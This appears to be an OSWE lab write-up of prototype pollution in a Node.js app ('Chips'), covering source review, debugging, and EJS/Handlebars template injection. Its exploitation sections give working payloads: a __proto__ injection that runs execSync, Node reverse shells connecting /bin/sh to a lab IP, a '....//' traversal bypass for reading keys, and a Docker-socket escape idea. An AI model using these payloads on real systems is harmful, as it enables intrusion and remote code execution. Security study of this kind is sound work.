Prototype Pollution

R3zk0n · October 2, 2025

Contents
    • Resources: https://www.youtube.com/watch?v=Z6CtDSx8C5k

    image

    ==============================================

    Guacamole Lite Prototype Pollution (OSWE)

    Machine: Chips

    Prototype pollution refers to a JavaScript vulnerability in which an attacker can inject properties in every object created by an application. Prototype pollution vulnerabilities often appear in libraries that merge or extend objects.

    For a web application to be vulnerable to prototype pollution in an exploitable way, it must:

    • Use a vulnerable merge/extend function
    • Provide a path to code execution or authentication bypass using the injected properties.

    Sync codebase via SSH

    rsync -az --compress-level=1 student@192.168.142.138:/home/student/chips/ chips/
    

    View the file tree

    tree -L 1 .
    tree . -I node_modules //ignore node_modules
    

    #$ Analyse the file structure of the source code

    The existence of bin/www, package.json, and routes/ indicate that this is a NodeJS web application. The existence of the docker-compose.yml and Dockerfile files indicate that this application is started using Docker containers.

    Discovered Webpack (via package.json)

    • Webpack is most often used to bundle external client side packages (like jQuery, Bootstrap, etc) and custom JavaScript code into a single file to be served by a web server.
    • This means that the frontend directory will most likely contain all the frontend assets, including the code that started the WebSocket connection.

    Discovered Express (via package.json)

    • The application is built using the “Express” web application framework.
    • This means that the routes directory will probably contain the definitions to the endpoints.

    #$ Analyze the binary file (./bin/www)

    image

    Requires ../app which is a JS file, and Guacamole-lite and the HTTP server and Guacamole servers are started.

    Analyze the app.js file

    image

    Shows the presence of a templating engine, and various routing. There is the use of hbs –> handlebars for Express.

    Analyze the docker-compose file (https://docs.docker.com/compose/)

    image

    • Development server can be started with npm run start-dev
    • Environment variable set TEMPLATING_ENGINE (can be done in command line)
    • Debugging application available on port 9229
    • /var/run/docker.sock volume is mounted –> This gives the chips container full access to the Docker socket. With access to the Docker socket, we may be able to escape the container and obtain RCE on the host if we can get RCE on the web app container.

    Playing with Templating Engine

    ssh student@blah
    docker-compose down
    TEMPLATING_ENGINE=ejs docker-compose up
    curl http://chips | grep "<\!--" // <!-- Using EJS as Templating Engine -->
    

    Remote Debugging (with .vscode/launch.json on server)

    • Via standard remote access:
      • Modify IP address in launch.json to point to remote server
      • Attach to directory and start debugging
    • Via CLI (port 9228):
      • docker-compose -f ~/chips/docker-compose.yml exec chips node --inspect=0.0.0.0:9228
      • The benefit of debugging via the cli is that we can now set breakpoints in individual libraries, load them in the interactive cli, and run individual methods without making changes to the web application and reloading every time.

    Black-Box Testing for Prototype Pollution

    Refer to Prototype Pollution in Github for more theory revision.

    • We usually cannot pass direct JavaScript objects within HTTP requests.
    • Instead, the requests would need to contain some kind of serialized data, such as JSON.
    • When a vulnerable merge function is executed, the data is first parsed from a JSON object into a JavaScript object.
    • Not all prototype pollution vulnerabilities come from the ability to inject “proto” into a JSON object.
    • Some may split a string with a period character (“file.name”), loop over the properties, and set the value to the contents.
    • In these situations, other payloads like “constructor.prototype” would work instead of “proto”. These types of vulnerabilities are more difficult to discover using blackbox techniques.

    Cause the application to crash

    • Object.toString()
    • Many applications in production will run with the application started as a daemon and restart automatically if the application crashes.
    • Inject "__proto__":{ "toString":"abc"} into existing JSON objects.
    • Observe log files in docker: docker-compose -f ~/chips/docker-compose.yml logs chips

    image

    • Observe the error

    White-Box Testing for Prototype Pollution

    • Discover Node Packages: docker-compose -f ~/chips/docker-compose.yml run chips npm list -prod -depth 1
    • Audit: docker-compose -f ~/chips/docker-compose.yml run chips npm audit
    • Extra Mile: Other functions include “hasOwnProperty” –> Setting it as a string can cause malformations.
    • Extra Mile: Bypass directory traversal filtering using “….//” instead.
      • http://192.168.228.138/files/….//settings/clientOptions.json (Encryption Key)
      • http://192.168.228.138/files/….//routes/token.js (Encryption Function)
      • Generate a token, decrypt it, modify any parameter, and re-encrypt it. Use this modified token to connect to the RDP client. (Unfinished)

    Prototype Pollution Exploitation

    • child_process.exec, eval, vm.runInNewContext function can be used

    image

    • o.preface is not explicitly set - can be used to achieve RCE via PP
    • {}.__proto__.preface = "');console.log('RUNNING ANY CODE WE WANT')//"
    • Find issues in depth 0 dependencies: docker-compose -f ~/chips/docker-compose.yml run chips npm list -prod -depth 0

    Template Injection to RCE

    EJS

    • EJS lets developers write pure JavaScript to generate templates.
    • Use Interactive CLI to test:
      • docker-compose -f ~/chips/docker-compose.yml exec chips node
      • Usage:

    image

    • CLI: docker-compose -f ~/chips/docker-compose.yml exec chips node --inspect=0.0.0.0:9228
    • Investigate the Template class and find potential parameter values that can be overwritten:

    image

    image

    • Pass in a string into the options.escape variable and the application will crash
    • TEMPLATING_ENGINE=ejs docker-compose -f ~/chips/docker-compose.yml exec chips node --inspect=0.0.0.0:9228
    • Send request with modified payload:

    image

    • This will cause DOS when accessing the root directory of the site.

    Achieving RCE

    image

    "__proto__":
    {
        "outputFunctionName":   "x = 1; console.log(process.mainModule.require('child_process').execSync('whoami').toString()); y"
    }
    

    Whenever a page is accessed, the console.log() on server-side will trigger.

    (function(){var net = require("net");cp = require("child_process");sh = cp.spawn("/bin/sh", []);var client = new net.Socket();client.connect(8888, "192.168.119.159", function(){client.pipe(sh.stdin);sh.stdout.pipe(client);sh.stderr.pipe(client);});return /a/;})();
    
    {
    
        "outputFunctionName":   "x = 1; var x = global.process.mainModule.require;(function(){var net = x('net');cp = x('child_process');sh = cp.spawn('/bin/sh', []);var client = new net.Socket();client.connect(8888, '192.168.119.159', function(){client.pipe(sh.stdin);sh.stdout.pipe(client);sh.stderr.pipe(client);});return /a/;})();; y"
    
    }
    

    Use msfconsole to connect to shells. Connect using "client":"True" and using options.escape:

    "__proto__":{"escape": "escapeFn; var x = global.process.mainModule.require;(function(){var net = x('net');cp = x('child_process');sh = cp.spawn('/bin/sh', []);var client = new net.Socket();client.connect(8888, '192.168.119.159', function(){client.pipe(sh.stdin);sh.stdout.pipe(client);sh.stderr.pipe(client);});return /a/;})();; y","client": "True"}
    

    Handlebars

    Difference between EJS and HBS syntax: image

    Restarting the Templating Engine: TEMPLATING_ENGINE=hbs docker-compose -f ~/chips/docker-compose.yml up

    How does Handlebars work under the hood? Handlebars compiles Javascript to an intermediary language (AST) before execution.

    • docker-compose -f ~/chips/docker-compose.yml exec chips node --inspect=0.0.0.0:9228
    • Parse function (compiler/parser.js) + Initiation (compiler/base.js)
      • To generate the intermediate code representation, an application uses the parse function, which will call parseWithoutProcessing.
      • The parse function returns a cleaned-up intermediate code representation of the original input in the form of an Abstract Syntax Tree (AST)
      • Handlebars = require("handlebars")
      • ast = Handlebars.parse("hello {{ foo }}") –> Results in a “Program” object
      • Handlebars.parse(ast) –> Also results in “Program” object, due to parseWithoutProcessing
    • Conversion to opcode (compiler/compiler.js)
      • precompiled = Handlebars.precompile(ast)
      • For now, it’s important to know that before the AST is compiled into JavaScript code, it is first converted into an array of opcodes that instruct the compiler how to generate the final JavaScript code.
    • Templating
      • eval("compiled = " + precompiled) –> Create working object from string
      • hello = Handlebars.template(compiled) –> Creating template from compiled JS
      • hello({"foo": "student"})

    image

    https://blog.p6.is/AST-Injection/

    Twitter, Facebook